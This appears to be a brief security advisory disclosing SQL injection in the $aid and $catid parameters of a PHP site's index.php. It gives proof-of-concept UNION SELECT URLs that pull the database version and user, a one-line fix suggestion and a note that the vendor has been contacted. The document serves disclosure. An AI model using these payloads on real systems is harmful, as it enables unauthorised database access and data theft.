SQL Injection  
-------------  
An attacker may execute arbitrary SQL statements on the vulnerable  
system. This may compromise the integrity of your database and/or  
expose sensitive information. Vulnerable variables are $aid and $catid  
on index.php file.  
  
Proof of Concept:  
index.php?menu=showarticle&aid=[SQL INJECTION]  
index.php?menu=showarticle&aid=-3 UNION ALL SELECT 1,@@version,3,4,5,user(),7  
  
index.php?menu=showcat&catid=[SQL INJECTION]  
index.php?menu=showcat&catid=-3 UNION ALL SELECT 1,@@version  
  
  
Solution:  
  
Your script should filter metacharacters from user input.  
  
  
Vendor contacted but I'm waiting for reply.
